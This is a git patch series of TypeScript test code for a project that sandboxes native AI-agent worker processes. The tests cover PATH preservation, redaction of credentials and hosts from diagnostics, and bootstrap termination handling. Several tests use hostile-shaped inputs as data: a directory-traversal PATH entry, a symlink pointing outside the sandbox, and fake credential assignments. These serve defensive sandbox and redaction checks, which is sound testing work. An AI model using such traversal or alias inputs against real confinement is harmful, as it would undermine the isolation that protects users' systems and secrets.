if(realpathSync(outer[0])!==realpathSync("/usr/bin/python3"))throw Error("tracer wrapped the coordinator instead of the payload"); const config=JSON.parse(outer[5]),args=config.argv,split=args.indexOf("--"),trace=args.slice(split+1); if(trace[0]!=="/synthetic/strace")throw Error("native broker payload was not traced"); const log=trace[trace.indexOf("-o")+1],directory=dirname(log); - assertGuardMountOrder(args.slice(1,split)); + assertGuardMountOrder(args.slice(1,split),["/","/etc"]); if(!args.slice(0,split).some((arg,i)=>arg==="--bind"&&args[i+1]===directory&&args[i+2]===directory))throw Error("guard trace directory bind missing"); const inner=trace.slice(trace.indexOf("--")+1); if(!inner.some((arg,i)=>arg==="--tmpfs"&&inner[i+1]===directory)||!inner.includes("--unshare-pid")||!inner.includes("--unshare-net"))throw Error("native child can see audit storage or tracer PID"); diff --git a/tests/native-path-preservation.test.ts b/tests/native-path-preservation.test.ts new file mode 100644 index 0000000000..d9d5b387e7 --- /dev/null +++ b/tests/native-path-preservation.test.ts @@ -0,0 +1,50 @@ +import { watchdogMs } from "../scripts/test-deadlines"; +import { expect, test } from "bun:test"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, realpathSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { fixtureToolView } from "../scripts/test-native-guard"; + +test("only read-only system or staged fixture PATH entries preserve exact spelling",()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-path-")),outside=mkdtempSync(join(tmpdir(),"odysseus-path-outside-")); + try { + const home=join(root,"home"),cwd=join(root,"cwd"),bin=join(root,"bin"),alias=join(root,"alias"); + for(const dir of [home,cwd,bin])mkdirSync(dir);symlinkSync(outside,alias); + for(const path of ["/usr/local/bin:/usr/bin:/bin",bin+":/usr/bin:/bin"]){ + const view=fixtureToolView({PATH:path,HOME:home},cwd,home); + expect(view.path,"EXACT_READONLY_PATH_PRESERVED").toBe(path); + expect(view.mounts).toEqual(path.startsWith(bin)?["--ro-bind",realpathSync(bin),realpathSync(bin)]:[]); + } + for(const path of [outside+":/usr/bin:/bin",alias+":/usr/bin:/bin","/usr/local/bin/../../../tmp/x:/usr/bin:/bin","/usr/bin:/usr/bin","/usr/bin::/bin","bin:/usr/bin",home+":/usr/bin:/bin"]){ + const view=fixtureToolView({PATH:path,HOME:home},cwd,home); + expect(view.path,"UNREGISTERED_PATH_CANNOT_GRANT_REWRITE_AUTHORITY").not.toBe(path); + expect(view.mounts).not.toContain(outside);expect(view.path).not.toContain(outside); + } + }finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} +}); + +test("a real synthetic worker retains verified RTK authority only with its original read-only PATH",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-path-rtk-")); + try { + const script=join(root,"probe.ts"),repo=join(import.meta.dir,".."); + const source=`import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; + import {fixtureToolView} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; + import {registerWorkerRtk,rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; + await enterMeasurementRtkView(); + const result=[]; + for(const requested of ["/usr/local/bin:/usr/bin:/bin","/unregistered/path:/usr/local/bin:/usr/bin:/bin"]){ + const original={PATH:requested,HOME:"/nonexistent"},actual={...original,PATH:fixtureToolView(original,"/tmp").path}; + const child=Bun.spawn(["/usr/bin/python3","-I","-S","-c","import time; print('READY',flush=True); time.sleep(30)"],{env:actual,stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const reader=child.stdout.getReader();const ready=await reader.read();reader.releaseLock();if(ready.done)throw Error("Synthetic worker failed: "+await new Response(child.stderr).text()); + try{const worker={exited:child.exited};registerWorkerRtk(worker,child.pid,{env:original,brainPath:"/tmp"}); + result.push(await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original")); + }finally{child.kill();await child.exited;} + } + console.log(JSON.stringify(result));`; + require("node:fs").writeFileSync(script,source); + const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0); + expect(JSON.parse(out.trim()),"REAL_WORKER_RTK_REQUIRES_PRESERVED_PATH").toEqual(["touch /tmp/brain-worker-scratch/rewritten","touch /tmp/brain-worker-scratch/original"]); + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-sdk-stderr-capture.test.ts b/tests/native-sdk-stderr-capture.test.ts index 942fc3fa82..9fd116ab0b 100644 --- a/tests/native-sdk-stderr-capture.test.ts +++ b/tests/native-sdk-stderr-capture.test.ts @@ -2,6 +2,7 @@ import { expect, test } from "bun:test"; import { readFileSync } from "node:fs"; import { join } from "node:path"; import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; +import { redactNativeDiagnosticAssignments } from "../scripts/test-native-guard"; import { SDK_STDERR_WINDOW_BYTES } from "../packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture"; const helper = join(import.meta.dir, "../packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts"); @@ -62,13 +63,34 @@ for(const edge of ["first","tail"] as const)test(`SDK stderr drops a token split for(const [label,text,secret] of [ + ["digit-leading-token","2FA_TOKEN=digit-token-value","digit-token-value"], + ["digit-leading-secret","1PASSWORD_SECRET=digit-secret-value","digit-secret-value"], + ["digit-token","9token=digit-short-value","digit-short-value"], + ["digit-dotted-key","3rd.api.key: digit-dotted-value","digit-dotted-value"], ["error-prefix","Error: ANTHROPIC_AUTH_TOKEN=error-auth-value","error-auth-value"], ["failure-prefix","failed: MY_PASSWORD=failure-password-value","failure-password-value"], ["nested-env",'{"env":{"apiKey":"nested-api-value"}}',"nested-api-value"], ["nested-header",'headers: {"x-api-key":"nested-header-value"}',"nested-header-value"], ["nested-config",'config={"token":"nested-config-value"}',"nested-config-value"], ] as const)test(`SDK credential matching ignores non-credential wrappers: ${label}`,async()=>{ + expect(redactNativeDiagnosticAssignments(text),"NAMED_CREDENTIAL_MATCHER_REDACTED").not.toContain(secret); const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const capture=captureNativeSdkStderr([]);capture.stderr(${JSON.stringify(text+"\n")});capture.flush();`],{env:{PATH:"/usr/bin:/bin"}}); const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); expect(output,"NESTED_NAMED_CREDENTIAL_REDACTED").not.toContain(secret); }); + +test("native diagnostic source context preserves JS members and basenames while hiding network addresses",async()=>{ + const child=spawnGuardFixture([process.execPath,"-e",` + import {captureNativeSdkStderr} from ${JSON.stringify(helper)}; + import {recordNativeGuardChild} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; + const source='const upstream={pipe(){throw Error("egress-worker-entry.ts egress-worker-entry.test.ts api.ithaca.test 127.0.0.1 localhost:8123 [::1]")}}; const peer={}; const server={on(){upstream.pipe(peer)}}; server.on("error");'; + const failed=Bun.spawn([process.execPath,"-e",source],{env:{PATH:"/usr/bin:/bin"},stdout:"ignore",stderr:"pipe"}); + const text=await new Response(failed.stderr).text();await failed.exited; + const capture=captureNativeSdkStderr([]);capture.stderr(text);capture.flush(); + await recordNativeGuardChild(failed,true,{drained:Promise.resolve(),snapshot:()=>text}); + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); + const records=output.split("\n").filter(line=>line.startsWith('{"kind":"native-fixture-sdk-stderr"')||line.startsWith('{"kind":"native-offline-bootstrap-failure"')).map(line=>JSON.parse(line)); + expect(records).toHaveLength(2); + for(const record of records){const text=record.reason??record.first;for(const member of ["server.on","upstream.pipe","egress-worker-entry.ts","egress-worker-entry.test.ts"])expect(text,"SOURCE_CONTEXT_REMAINS_READABLE").toContain(member);for(const address of ["api.ithaca.test","127.0.0.1","localhost","[::1]"])expect(text,"DIAGNOSTIC_HOST_REDACTED").not.toContain(address);} +}); From 70ea76728f6ecfa558a61c79692dc3042f9bd8ab Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 14:02:32 +0000 Subject: [PATCH 071/187] test: isolate native diagnostic tees and scale relay watchdogs --- .../tests/fixtures/host-relay-probe.ts | 5 ++- .../fixtures/ordinary-host-relay-probe.ts | 5 ++- .../fixtures/relayed-runtime-traffic-probe.ts | 3 +- .../tests/fixtures/sdk-host-relay-probe.ts | 5 ++- .../tests/fixtures/server-host-relay-probe.ts | 10 ++++- .../helpers/native-relay-turn-diagnostic.ts | 13 ++++++ .../tests/relayed-runtime-traffic.test.ts | 3 +- scripts/test-native-guard.ts | 25 ++++++++--- scripts/test-network-guard.ts | 4 +- tests/native-bootstrap-diagnostics.test.ts | 20 ++++++++- tests/native-bootstrap-health.test.ts | 2 + tests/native-offline-boundary.test.ts | 2 + tests/native-relay-turn-diagnostic.test.ts | 31 +++++++++++++ tests/native-sync-probe-diagnostics.test.ts | 44 +++++++++++++++++++ 14 files changed, 156 insertions(+), 16 deletions(-) create mode 100644 packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts create mode 100644 tests/native-relay-turn-diagnostic.test.ts create mode 100644 tests/native-sync-probe-diagnostics.test.ts diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index fabd86065d..ff5ad5d5ce 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import { selectedNativePid } from "../helpers/native-process-observation"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; @@ -96,7 +97,7 @@ function files(path: string): string { async function bounded(promise: Promise): Promise { let timer: ReturnType | undefined; try { return await Promise.race([promise, new Promise((_, reject) => { - timer = setTimeout(() => reject(new Error("Native cancellation did not reach its owned boundary.")), 5000); + timer = setTimeout(() => reject(new Error("Native cancellation did not reach its owned boundary.")), watchdogMs(5000)); })]); } finally { clearTimeout(timer); } } let session: string | undefined, hostAfterRefresh = false; @@ -108,7 +109,7 @@ try { if (turn === 3) { save(access[1]!, 1); holdRefresh = true; } const before = readFileSync(join(host, ".credentials.json")); const abort = new AbortController(); - const timer = setTimeout(() => abort.abort(), 20_000); + const timer = setTimeout(() => abort.abort(), watchdogMs(20_000)); let release!: () => void; const held = new Promise(resolve => { release = resolve; }); let nativeChild: ChildProcess | undefined; diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index cfa0be08a7..d4dfa4f8e9 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; @@ -113,7 +114,7 @@ function files(path: string): string { async function bounded(promise: Promise): Promise { let timer: ReturnType | undefined; try { return await Promise.race([promise, new Promise((_, reject) => { - timer = setTimeout(() => reject(new Error("Native cancellation did not reach its owned boundary.")), 5000); + timer = setTimeout(() => reject(new Error("Native cancellation did not reach its owned boundary.")), watchdogMs(5000)); })]); } finally { clearTimeout(timer); } } let session: string | undefined, hostAfterRefresh = false; @@ -125,7 +126,7 @@ try { if (turn === 3) { save(access[1]!, 1); holdRefresh = true; } const before = readFileSync(join(host, ".credentials.json")); const abort = new AbortController(); - const timer = setTimeout(() => abort.abort(), 20_000); + const timer = setTimeout(() => abort.abort(), watchdogMs(20_000)); let release!: () => void; const held = new Promise(resolve => { release = resolve; }); let live: LaunchedWorker | undefined; diff --git a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts index 681adb1d29..8cbbd38d61 100644 --- a/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/relayed-runtime-traffic-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** @@ -40,7 +41,7 @@ const relay = Bun.serve({ unix: join(WORKER_EGRESS_DIR, "inference.sock"), async const brainPath = join(scratch, "ithaca"), home = join(scratch, "home"); mkdirSync(brainPath, { recursive: true }); mkdirSync(home); const abortController = new AbortController(); -const timer = setTimeout(() => abortController.abort(), 45_000); +const timer = setTimeout(() => abortController.abort(), watchdogMs(45_000)); const turn = createClaudeSdkTurn({ backend: { brainPath }, req: { prompt: "Odysseus checks the harbour notice.", signal: abortController.signal, turnBudgetMs: 30_000, diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index 492a349e20..6ede882b26 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; @@ -164,7 +165,7 @@ function files(path: string): string { async function bounded(promise: Promise): Promise { let timer: ReturnType | undefined; try { return await Promise.race([promise, new Promise((_, reject) => { - timer = setTimeout(() => reject(new Error("Native cancellation did not reach its owned boundary.")), SDK_RELAY_CANCELLATION_TIMEOUT_MS); + timer = setTimeout(() => reject(new Error("Native cancellation did not reach its owned boundary.")), watchdogMs(SDK_RELAY_CANCELLATION_TIMEOUT_MS)); })]); } finally { clearTimeout(timer); } } let session: string | undefined, hostAfterRefresh = false; @@ -188,7 +189,7 @@ try { const before = readFileSync(join(host, ".credentials.json")); const abort = new AbortController(); currentAbort = abort; - const timer = setTimeout(() => abort.abort(), SDK_RELAY_TURN_TIMEOUT_MS); + const timer = setTimeout(() => abort.abort(), watchdogMs(SDK_RELAY_TURN_TIMEOUT_MS)); let release!: () => void; const held = new Promise(resolve => { release = resolve; }); let live: LaunchedWorker | undefined; diff --git a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts index 7efbaa1915..d5eb75e725 100644 --- a/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/server-host-relay-probe.ts @@ -1,3 +1,5 @@ +import { recordNativeRelayTurn } from "../helpers/native-relay-turn-diagnostic.js"; +import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; @@ -179,7 +181,8 @@ try { for (let turn = 0; turn < (mode === "three" ? 3 : mode === "cleanup-failure" ? 2 : 1); turn++) { if (turn === 1) { save(1); model = "claude-sonnet-4-6"; } if (turn === 2) { save(1, true); model = "claude-haiku-4-5"; } - const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20000); + const turnStarted=performance.now(),requestStart=requests.length,refreshStart=refreshes,frameStart=frames.length; + const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20000)); const turnId = `turn-ithaca-${turn}`; const tracked = new Set(); const add = controller.signal.addEventListener.bind(controller.signal), remove = controller.signal.removeEventListener.bind(controller.signal); @@ -221,6 +224,11 @@ try { cleanupFailures.push(String(error)); expect(String(error), "ACTUAL_NATIVE_RELEASE_FAILURE_PROPAGATED").toContain("Claude turn cleanup did not complete"); } finally { + const terminal=frames.slice(frameStart).reverse().find(frame=>frame.type==="result"||frame.type==="error"); + recordNativeRelayTurn({elapsedMs:performance.now()-turnStarted,aborted:controller.signal.aborted, + requestDelta:requests.length-requestStart,refreshDelta:refreshes-refreshStart, + outcome:terminal?.type==="result"?terminal.outcome:undefined, + errorClass:terminal?.type==="result"?terminal.failure?.errorClass:terminal?.type==="error"?terminal.failure?.errorClass:undefined}); if (mode === "cleanup-failure") { expect(existsSync(join(proxy.dir, "inference.sock")), "NATIVE_RELEASE_FAILURE_RELAY_LINK_REMOVED").toBe(false); expect(readdirSync(tmpdir()).filter(name => name.startsWith("brain-inference-")), "NATIVE_RELEASE_FAILURE_RELAY_DIRECTORY_REMOVED").toEqual(relayDirectories); diff --git a/packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts b/packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts new file mode 100644 index 0000000000..c0d09bb302 --- /dev/null +++ b/packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts @@ -0,0 +1,13 @@ +/** Fixture-only numeric progress; no messages, credentials or provider addresses. */ +import { nativeReceipt } from "../../../../scripts/native-test-receipts"; +import { nativeTestHead } from "../../../../scripts/test-native-guard"; +const outcomes=new Set(["success","error","cancelled"]); +const classes=new Set(["unknown","auth_failure","authentication_failed","subscription_required","rate_limit","overloaded","server_error","timeout","invalid_request","process_exited_nonzero","worker_host_unsupported"]); +const count=(value:number)=>Number.isFinite(value)?Math.max(0,Math.min(Number.MAX_SAFE_INTEGER,Math.round(value))):0; +export function recordNativeRelayTurn(input:{elapsedMs:number;aborted:boolean;requestDelta:number;refreshDelta:number;outcome?:unknown;errorClass?:unknown}):void { + try { nativeReceipt({kind:"native-fixture-relay-turn",head:nativeTestHead(),elapsedMs:count(input.elapsedMs),aborted:input.aborted===true, + requestDelta:count(input.requestDelta),refreshDelta:count(input.refreshDelta), + outcome:typeof input.outcome==="string"&&outcomes.has(input.outcome)?input.outcome:null, + errorClass:typeof input.errorClass==="string"?(classes.has(input.errorClass)?input.errorClass:"unknown"):null}); + }catch{/* Diagnostics cannot prevent fixture cleanup or replace its failure. */} +} diff --git a/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts b/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts index 43f4dbd7d0..6e4dc25533 100644 --- a/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts +++ b/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts @@ -1,3 +1,4 @@ +import { deadlineFactor } from "../../../scripts/test-deadlines.ts"; /** The selected native runtime opens no connection of its own on a relayed turn (#3244), with only loopback available. */ import { expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; @@ -15,7 +16,7 @@ async function probe(scenario: "plain" | "webfetch") { const child = Bun.spawn(["bwrap", "--unshare-net", "--die-with-parent", "--bind", "/", "/", "--tmpfs", "/run", "--bind", join(scratch, "egress"), WORKER_EGRESS_DIR, "--proc", "/proc", "--dev", "/dev", process.execPath, "--preload", join(root, "scripts/test-network-child-preload.ts"), join(import.meta.dir, "fixtures/relayed-runtime-traffic-probe.ts"), scratch, scenario], - { cwd: root, env: { PATH: process.env.PATH!, LANG: "C.UTF-8", TMPDIR: tmpdir() }, stdout: "pipe", stderr: "pipe" }); + { cwd: root, env: { BRAIN_TEST_DEADLINE_FACTOR: String(deadlineFactor()), PATH: process.env.PATH!, LANG: "C.UTF-8", TMPDIR: tmpdir() }, stdout: "pipe", stderr: "pipe" }); const [out, err, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, err || out).toBe(0); return JSON.parse(readFileSync(join(scratch, "result.json"), "utf8")) as { diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 893fd5eca6..7ce9f44737 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -47,7 +47,8 @@ export function nativeTestHead(): string { /** Metadata survives an outer fixture namespace's deliberate clearenv. */ export function nativeNamespaceEnvironment(): string[] { - const values: Record = { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() }; + const {deadlineFactor}=createRequire(import.meta.url)("./test-deadlines.ts") as typeof import("./test-deadlines"); + const values: Record = { BRAIN_NATIVE_TEST_HEAD: nativeTestHead(), BRAIN_TEST_DEADLINE_FACTOR: String(deadlineFactor()) }; if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted") { values.GITHUB_ACTIONS = "true"; values.RUNNER_ENVIRONMENT = "github-hosted"; } @@ -867,15 +868,29 @@ export function prepareNativeBootstrapDiagnostics(options:Record):{o return {drained,snapshot(){let prefix=first.toString("utf8"),suffix=tail.toString("utf8");if(observed>first.length)prefix=prefix.slice(0,Math.max(0,prefix.lastIndexOf("\n")));if(observed>tail.length)suffix=suffix.slice(suffix.indexOf("\n")<0?suffix.length:suffix.indexOf("\n")+1);return observed<=first.length?prefix:prefix+"\n"+suffix;}}; }}; } -export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null },bootstrap=false,evidence?:BootstrapEvidence): Promise { +const parentTerminatedBootstraps=new WeakSet(),observedBootstrapKills=new WeakSet(); +export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null;kill?(signal?:NodeJS.Signals|number):void },bootstrap=false,evidence?:BootstrapEvidence): Promise { let completion=Promise.resolve(); const diagnosticRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; if(bootstrap){ + const kill=child.kill?.bind(child); + if(kill&&!observedBootstrapKills.has(child)){ + observedBootstrapKills.add(child); + Object.defineProperty(child,"kill",{configurable:true,value:(signal?:NodeJS.Signals|number)=>{ + const terminating=signal===undefined||["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(signal); + if(terminating)parentTerminatedBootstraps.add(child); + try{return kill(signal);}catch(error){if(terminating)parentTerminatedBootstraps.delete(child);throw error;} + }}); + } bootstrapDiagnostics.set(child.pid,{get exitCode(){return child.exitCode??null;},get signalCode(){return child.signalCode??null;}}); if(bootstrapDiagnostics.size>256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); const report=async(code:number|null)=>{ nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}); if(code===0&&!child.signalCode)return; + if(parentTerminatedBootstraps.has(child)||["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(child.signalCode??"")){ + nativeReceipt({kind:"native-offline-bootstrap-termination",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, + reason:parentTerminatedBootstraps.has(child)?"terminated by parent signal":"terminated by signal"});return; + } if(evidence){let timer:ReturnType|undefined;await Promise.race([evidence.drained,new Promise(resolve=>{timer=setTimeout(resolve,2000);timer.unref();})]);clearTimeout(timer);} const text=evidence?.snapshot()??""; const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(labelNativeMountErrors(text,diagnosticRoots).replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); @@ -1077,8 +1092,8 @@ export function nativeWorkerPayloadCommand(payload:string[],command:string[],pro } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void; beforeLaunch(): void } { - const unchanged = { env, dispose() {}, beforeLaunch() {} }; +export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void } { + const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { refuse("invalid worker launch metadata"); } @@ -1192,6 +1207,6 @@ export function nativeWorkerBoundary(env: Record): { nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); - return { env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch }; + return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 81171ab748..ae54626085 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -191,7 +191,9 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { args[0]=Array.isArray(first)?channel.argv:{...args[0] as object,cmd:channel.argv}; }else inherited=withoutNativeReceipts(inherited); const bootstrap = key === "spawn" && pipeOnly && Boolean(options.env?.BRAIN_WORKER_LAUNCH); - const bootstrapDiagnostics = bootstrap ? prepareNativeBootstrapDiagnostics(inherited) : undefined; + // A synchronous non-native probe may read its FIFO without awaiting exited. + // Only an admitted native plan owns the asynchronous diagnostic writer. + const bootstrapDiagnostics = bootstrap && (boundary !== undefined || workerBoundary?.native === true) ? prepareNativeBootstrapDiagnostics(inherited) : undefined; if (bootstrapDiagnostics) inherited=bootstrapDiagnostics.options as typeof inherited; if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; diff --git a/tests/native-bootstrap-diagnostics.test.ts b/tests/native-bootstrap-diagnostics.test.ts index 9d83686632..31cb0833ef 100644 --- a/tests/native-bootstrap-diagnostics.test.ts +++ b/tests/native-bootstrap-diagnostics.test.ts @@ -6,6 +6,9 @@ test("nonzero trusted bootstrap forwards protocol stderr and records a scrubbed const pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"); const child=spawnGuardFixture([process.execPath,"-e",` + import {mock} from "bun:test"; + const guard={...await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))})}; + mock.module(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))},()=>({...guard,nativeWorkerBoundary(env){return {...guard.nativeWorkerBoundary(env),native:Boolean(env.BRAIN_WORKER_LAUNCH)};}})); import {Readable} from "node:stream"; import {createWorkerPipes} from ${JSON.stringify(pipes)}; const p=createWorkerPipes();const streams=p.streams();const errors=new Response(Readable.toWeb(streams.stderr)).text(); @@ -42,6 +45,9 @@ test("bootstrap reason records redact named credentials and bound diagnostic tex test("diagnostic tee preserves FIFO-only bootstrap admission for a harmless executable",async()=>{ const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); const child=spawnGuardFixture([process.execPath,"-e",` + import {mock} from "bun:test"; + const guard={...await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))})}; + mock.module(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))},()=>({...guard,nativeWorkerBoundary(env){return {...guard.nativeWorkerBoundary(env),native:Boolean(env.BRAIN_WORKER_LAUNCH)};}})); import {createWorkerPipes} from ${JSON.stringify(pipes)}; const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); @@ -57,7 +63,7 @@ test("an SDK-first nonzero exit cannot overtake its bootstrap reason and audit r import {mock} from "bun:test"; const stream={...await import("node:stream/promises")};mock.module("node:stream/promises",()=>({...stream,pipeline:(source,sink)=>{const end=sink.end.bind(sink);sink.end=(...args)=>{setTimeout(()=>end(...args),50);return sink;};return stream.pipeline(source,sink);}})); const guard={...await import(${JSON.stringify(guard)})};const audit=guard.auditNativeLaunch(["/usr/bin/false"],["/usr/bin/true"],()=>{}); - mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const boundary=guard.nativeWorkerBoundary(env);return {...boundary,dispose(){if(env.BRAIN_WORKER_LAUNCH)audit.dispose();boundary.dispose();}};}})); + mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const boundary=guard.nativeWorkerBoundary(env);return {...boundary,native:Boolean(env.BRAIN_WORKER_LAUNCH),dispose(){if(env.BRAIN_WORKER_LAUNCH)audit.dispose();boundary.dispose();}};}})); const {createWorkerPipes}=await import(${JSON.stringify(pipes)});const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/sh","-c","echo synthetic-bootstrap-failure >&2; exit 1"],argv:["/bin/sh","-c","echo synthetic-bootstrap-failure >&2; exit 1"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); p.closeChild();streams.stdin.end();await boot.exited;process.exit(1); @@ -67,3 +73,15 @@ 